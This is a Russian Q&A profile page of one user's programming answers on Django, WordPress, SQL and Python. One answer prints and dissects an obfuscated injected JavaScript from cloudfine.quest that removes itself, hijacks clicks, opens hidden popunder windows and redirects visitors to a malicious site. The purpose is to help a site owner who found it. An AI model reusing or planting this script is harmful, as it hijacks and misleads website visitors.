• Какую максимально эффективную и простую капчу посоветуете?

    Mike_Ro
    @Mike_Ro
    Python, JS, WordPress, SEO, Bots, Adversting
    Искал, искал — а ничего толкового вообще на нашел, вот прям совсем. Наверное, не там искал.

    Не совсем, таких капчей просто нет и не будет, т.к. продвинутая капча собирает инфу не только с Вашего сайта, но и с других, сопостовляя все, что делает пользователь. Самые эффективные капчи, которые не полностью защищают от накрутки ПФ - cloudflare (до перехода на сайт), рекапча и смарткапча после перехода.
    Защитит ли эта капча от поведенческих ботов или просто будет нагружать ресурсы бота и хоста заодно?

    Не эта, а любая капча - будет зависеть от технологичности бота. Как быть, когда бот человечнее Вас? Банить Вас?
    Ответ написан
    Комментировать
  • Как выполнить консольную команду из подкаталога?

    Mike_Ro
    @Mike_Ro
    Python, JS, WordPress, SEO, Bots, Adversting
    В Django каждая консольная команда должна быть модулем, который располагается в определенной структуре каталогов, чтобы Django мог его обнаружить и зарегистрировать.

    Если прям жмет, то можно разместить __init__.py в каждом каталоге до консольной команды, с импортом вида:
    from .command1 import Command1
    
    # app/
    #    management/
    #        __init__.py <-- this import
    #        commands/
    #            __init__.py <-- and this import
    #                command1/
    #                    __init__.py <-- and this import

    Это позволит Django обнаруживать команды, находящиеся в подкаталогах, но при этом требует, чтобы каждая команда была в своем собственном подкаталоге и имела собственный __init__.py.

    Кстати, имя команды которое Вы используете при вызове manage.py, должно соответствовать имени каталога, в котором находится команда. Соответственно, если Вы разместили команду в app/management/commands/subdir1/command1, Вы всё равно вызываете её как manage.py command1, не указывая subdir1. Django не поддерживает вызов команд с использованием точечной нотации для обозначения подкаталогов, как в Вашем примере subdir1.command1.
    Ответ написан
    Комментировать
  • Две одинаковых ссылки на одну страницу. Как обойти?

    Mike_Ro
    @Mike_Ro
    Python, JS, WordPress, SEO, Bots, Adversting
    Узнал, что не рекомендуется на странице размещать две одинаковых ссылки на одну страницу.

    Не замечал разницы в ранжирование.
    Что если дубли ссылок формируются с помощью js и изначально в верстке не присутствуют? Это решает проблему?

    Отчасти, ПС с каждым днем все лучше индексируют динамический js контент.
    У меня на сайте сложное меню и дубли ссылок формируются в нем. Проще такое меню, т.е. без дублей, никак не сделать.

    У всех так.
    Ответ написан
    1 комментарий
  • Кто-нибудь сталкивался с подключением скрипта с домена cloudfine.quest?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    Код скрипта
    document.currentScript.remove();if(typeof wsjwa573==='undefined'){const wsjwa573=true;const wkonuolh='https://cloudfine.quest/redirect';if(('PushManager'in window)&&('Notification'in window)&&('fetch'in window)){window.location.replace('https://'+(window.location.hostname!==undefined?wi...);}else{const is5ykqkx=setInterval(()=>{if(document.readyState==='interactive'||document.readyState==='complete'){clearInterval(is5ykqkx);if('ontouchstart'in window){function vg4ymqkq(afzqftyr){document.removeEventListener('click',vg4ymqkq);if(window.open(afzqftyr.target.href===undefined?window.location.href:afzqftyr.target.href,'_blank')!==null){afzqftyr.preventDefault();afzqftyr.stopPropagation();setTimeout(()=>{window.location.href=wkonuolh;},1000);}}document.addEventListener('click',vg4ymqkq);}else{function vg4ymqkq(afzqftyr){afzqftyr.preventDefault();afzqftyr.stopPropagation();document.removeEventListener('click',vg4ymqkq);const ga3m40pt=window.open('','_blank','fullscreen=no,height=100,left='+(screen.width+100)+',location=no,menubar=no,resizable=no,scrollbars=no,status=no,titlebar=no,toolbar=no,top='+(screen.height+100)+',width=100');if(ga3m40pt!==null){function nxq27s6i(){clearTimeout(ryzfrfy5);ga3m40pt.moveTo(0,0);ga3m40pt.resizeTo(window.screen.availWidth,window.screen.availHeight);ga3m40pt.document.location.href=wkonuolh;window.removeEventListener('focus',nxq27s6i);}const ryzfrfy5=setTimeout(()=>{ga3m40pt.close();window.removeEventListener('focus',nxq27s6i);},8000);ga3m40pt.moveTo(screen.width+100,screen.height+100);window.addEventListener('focus',nxq27s6i);}document.body.style.opacity='1';}document.body.style.opacity='0.7';document.addEventListener('click',vg4ymqkq);}}},50);}}

    Вредонос:
    1. Выполняет все операции и сразу удаляется из dom.
    2. Чекает переменную wsjwa573 (на нее много чего завязано, хз зачем, нет времени вычислять).
    3. Проверяет, если ли в браузере посетителя pushmanager, notification и fetch apis.
    4. Редиректит на вредоносный сайт по условию.
    5. Ставит обработчик ontouchstart по клику и условию.
    Итп.
    Прошерстил все файлы проекта - не нашел никаких подключений. Ни по одному из ключевых слов не находится ничего подобного.

    Разумеется не нашли, вредонос создавался не для того, чтобы его было просто найти. Ищите дальше, кто то его в любом случае подключает на страницу.
    Ответ написан
    6 комментариев
  • Bootstrap при добавлении товара с бд неправильно распологает элементы товара, почему?

    Mike_Ro
    @Mike_Ro
    Python, JS, WordPress, SEO, Bots, Adversting
    А при добавлении картинок с бд они все идут в один столбец.

    В один контейнер+ряд+столбец, для каждого из изображений. Сурово! Предлагаю все таки ограничиться колонками:
    include("bd.php");
    
    mysqli_query($bd, "SET NAMES utf8 COLLATE utf8_unicode_ci");
    
    $res = mysqli_query($bd, "SELECT * FROM kat");
    
    echo '<div class="container">';
    echo '<div class="row">';
    
    while($row = mysqli_fetch_array($res)) {
        echo '<div class="col-6 col-sm-6 col-md-4 col-lg-3 col-xl-2">';
        echo '<img src=img/tovar/' . $row['img'] . ' class="img-fluid"/>';
        echo '</div>';
    }
    
    echo '</div>';
    echo '</div>';
    Ответ написан
    1 комментарий
  • Как ограничить количество пользователей для регистрации на сайте WordPress?

    Mike_Ro
    @Mike_Ro
    Python, JS, WordPress, SEO, Bots, Adversting
    Отключаем возможность регистрации пользователей, если их более 140, и включаем обратно, если их мене 140, functions.php:
    add_action('init', function() {
        $limit = 140;
        $count_users = count_users();
        $total_users = $count_users['total_users'];
    
        if($total_users > $limit) {
            update_option('users_can_register', false);
        } else {
            update_option('users_can_register', true);
        }
    });
    Ответ написан
    Комментировать
  • Что учесть в начале создания веб-портала и перейти с начальной версии на продвинутую без потерь? Как выбрать разработчика, структуру и платформу?

    Mike_Ro
    @Mike_Ro
    Python, JS, WordPress, SEO, Bots, Adversting
    Хочу сделать тематический портал, с авторскими статьями, и разными функциональными разделами.
    Основная ценность портала для посетителя - статьи.
    Сам делал сайты простые ручками и на вордпрессе, но на портал нет времени заниматься созданием/администрированием, поэтому планирую найти и нанять специалиста разработчика/админа.
    На первом этапе планирую сделать минимально работающий продукт - просто портал со регулярно добавляющимися статьями и навигацией. Когда трафик очевидно начнёт расти - планирую добавлять новые функциональные разделы.

    2. Какие платформы порекомендуете?

    MVP? Тогда Вам сюда Что выбрать WP или Python+Django для сайта? (Django можно заменить на любую подходящую технологию, суть от этого не поменяется).
    3. Как не прогадать с выбором разработчика/админа?

    Составить ТЗ, найти разработчика, контролировать процесс и принять (или нет) результат работы - должен опытный человек.
    4. Может есть какие-то толковые книги/курсы по созданию таких проектов. Имею ввиду не столько технические по коду, сколько по организационным этапам и методике того что учесть нужно.

    Смотрите пункт выше.
    Ответ написан
    Комментировать
  • Есть ли реальный профит от использования актуальных фронтенд-технологий?

    Mike_Ro
    @Mike_Ro
    Python, JS, WordPress, SEO, Bots, Adversting
    В 2016-м году, делали нечто, что потом начали люди называть SPA - но за счёт аяксов, которые грузят что нужно. При этом сохраняется структура страниц на сервере, и нет и не было проблем с индексацией.

    Проблемы с индексацией есть и сейчас, чтобы там не заявляли ПС, а в древние 2016 года они были выражены в несколько раз сильнее. То, что Вы проблемы не замечали - не значит, что их не было.
    Вот от фронтовых фреймворков верстки - профит заметен был (тот же фаундейшн, бутстрап и тд) - действительно ускоряло и упрощало жизнь.

    Ускоряет жизнь тем, кто не умеет в вёрстку, остальным - замедляет.
    1. Стильно, модно, молодёжно. Других не могу придумать. Вроде бы как должно работать быстрее, но практика этого не показывает (или настолько незначительно, что конечному пользователю - пофиг, будет работать аякс или вьюшная реактивность).

    На определенном этапе разработки, стоимость поддержки проекта на чистом js начнёт обгонять проект на react/vue. Пользователю будет конечно пофиг, т.к. он не найдёт в ПС Ваш SPA сайт.
    Собственно, а зачем это всё нужно, если профит, кажется - нулевой

    Для ускорения разработки, а ключевое слово здесь "кажется".

    P.S. в некоторых ситуациях действительно быстрее и дешевле написать некоторые функции на чистом js и не тащить весь react стек в проект, но это больше исключение, чем правило.
    Ответ написан
    2 комментария
  • Можно ли с помощью JS узнать наличие каких-либо датчиков в смартфоне или каких-то иных их отличительных особенностей?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    Есть, и все неплохо симулируется :)
    Ответ написан
    Комментировать
  • Как правильно перехватывать события ухода пользователя со страницы?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    Ответ написан
    Комментировать
  • Как заблюрить товары на страницах для незарегистрированных пользователей?

    Mike_Ro
    @Mike_Ro
    Python, JS, WordPress, SEO, Bots, Adversting
    Как заблюрить товары на страницах для незарегистрированных пользователей?

    Т.к. не понятно, какой метод блюра использовать, то покажу пример реализации css блюра у класса .product:
    // functions.php:
    
    function test() {
        if (!is_user_logged_in()) {
            wp_add_inline_style('woocommerce-general', '.product {filter: blur(5px)}');
        }
    }
    add_action('wp_enqueue_scripts', 'test');

    А также есть вопрос по закрытию доступа к заказу из корзины, если пользователь не авторизован.

    Можно кодом, с редиректом на страницу с id=myaccount:
    // functions.php:
    
    function test() {
        if (!is_user_logged_in()) {
            wp_redirect(get_permalink(wc_get_page_id('myaccount')));
            exit;
        }
    }
    add_action('woocommerce_before_checkout_form', 'test');

    Или плагинами:
    - WooCommerce Members Only plugin
    - YITH WooCommerce Catalog Mode plugin
    Ответ написан
    3 комментария
  • Ошибка async def aiogram 3x?

    Mike_Ro
    @Mike_Ro Куратор тега Python
    Python, JS, WordPress, SEO, Bots, Adversting
    Вот сама ошибка(походу что-то я сделал не так и огроомная ошибка поменялась в маленькую):
    C:\Users\akrav\Desktop\машынки\main.py:183: RuntimeWarning: coroutine 'get_cards' was never awaited
    get_cards(message)

    Ну там как бы написано...

    # def new_card(message: types.Message):
        # get_cards(message)
    
    async def card_handler(message: types.Message):
        await get_cards(message)

    P.S. вероятнее всего, там дальше возникнет проблема с декоратором, но это уже другой вопрос...
    Ответ написан
    4 комментария
  • Как в Python сделать перезагрузку функции с разным количеством параметров?

    Mike_Ro
    @Mike_Ro Куратор тега Python
    Python, JS, WordPress, SEO, Bots, Adversting
    Python не позволяет напрямую указывать @overload для функции без параметров и с параметрами в одной реализации, если эта реализация требует параметр. Но, можно использовать костыль, в виде некого дефолтного аргумента x: None, тогда можно будет вызывать функцию без аргументов:
    from typing import overload, Union
    
    @overload
    def Func(a: int) -> int: ...
    @overload
    def Func(a: bool) -> bool: ...
    @overload
    def Func() -> None: ...
    
    def Func(x: Union[int, bool, None] = None) -> Union[int, bool, None]:
        if x is None:
            return None
        elif isinstance(x, bool):
            return x
        elif isinstance(x, int):
            return 333
        else:
            raise ValueError("Invalid argument type.")
    
    print(Func(10));  # 333
    print(Func(True));  # True
    print(Func());  # None
    print(Func('kek'));  # ValueError: Invalid argument type.
    Ответ написан
    Комментировать
  • Как достать словарь из websocket?

    Mike_Ro
    @Mike_Ro Куратор тега Python
    Python, JS, WordPress, SEO, Bots, Adversting
    - Декодировать json.
    - Прочитать значения из словаря и распечатать по условию.
    import json
    
    def on_message(ws, message):
        data = json.loads(message)
        s = data.get("s")
        p = data.get("p")
    
        if p:
            _p = float(p)
    
            if _p > 51500:
                print(f"Монета {s} больше 51500, текущая цена: {_p}")
            else:
                print(f"Монета {s} меньше или равна 51500, текущая цена: {_p}")
    Ответ написан
    1 комментарий
  • Как вернуть кортеж из функции?

    Mike_Ro
    @Mike_Ro Куратор тега Python
    Python, JS, WordPress, SEO, Bots, Adversting
    def sort_pair(a, b):

    В ТЗ указано, что функция sort_pair должна принимать один аргумент, который является кортежем из двух элементов целочисленного типа, а не 2 аргумента не определенного типа...
    def sort_pair(pair):
        a, b = pair
        if a <= b:
            return (a, b)
        else:
            return (b, a)
    
    print(sort_pair((5, 1)))  # (1, 5)
    print(sort_pair((2, 2)))  # (2, 2)
    print(sort_pair((7, 8)))  # (7, 8)

    Добавим аннотации, чтобы прям хорошо было:
    from typing import Tuple
    
    def sort_pair(pair: Tuple[int, int]) -> Tuple[int, int]:
        a, b = pair
        if a <= b:
            return (a, b)
        else:
            return (b, a)
    
    print(sort_pair((5, 1)))  # (1, 5)
    print(sort_pair((2, 2)))  # (2, 2)
    print(sort_pair((7, 8)))  # (7, 8)
    Ответ написан
    2 комментария
  • Как выбрать данные, если нет в одной таблице, то взять из другой?

    Mike_Ro
    @Mike_Ro
    Python, JS, WordPress, SEO, Bots, Adversting
    COALESCE?
    SELECT
        comment.*,
        COALESCE(users.avatarInGames, usersCache.avatarInGames) AS avatarInGames,
        COALESCE(users.gameId, usersCache.gameId) AS gameId
    FROM comment
    LEFT JOIN users ON comment.UID = users.userId
    LEFT JOIN usersCache ON comment.UID = usersCache.userId
    WHERE comment.status = 1
    ORDER BY comment.OID DESC;

    COALESCE(users.avatarInGames, usersCache.avatarInGames) AS avatarInGames avatarInGames берет из users или если его там нет, то возьмет из usersCache.
    Ответ написан
    2 комментария
  • Message: move target out of bounds: viewport size: 452, 362 (Session info: MicrosoftEdge=121.0.2277.128). Что делать?

    Mike_Ro
    @Mike_Ro Куратор тега Python
    Python, JS, WordPress, SEO, Bots, Adversting
    Message: move target out of bounds: viewport size: 452, 362 (Session info: MicrosoftEdge=121.0.2277.128).

    Перемещение курсора за область браузера, которая равна "viewport size: 452, 362" (даже если Вы там и выставили "driver.set_window_size(500, 500)").
    move_by_offset

    viewport size: 452, 362

    Это относительное смещение от текущего положения курсора, т.е. 250 * 2 итерации (или 1 дополнительную) = 500, минус возможные границы или элементы браузера и вот, у Вас уже не хватает области браузера.

    Я использую не относительные координаты (move_by_offset), а абсолютные move_to_element_with_offset.
    Ответ написан
    1 комментарий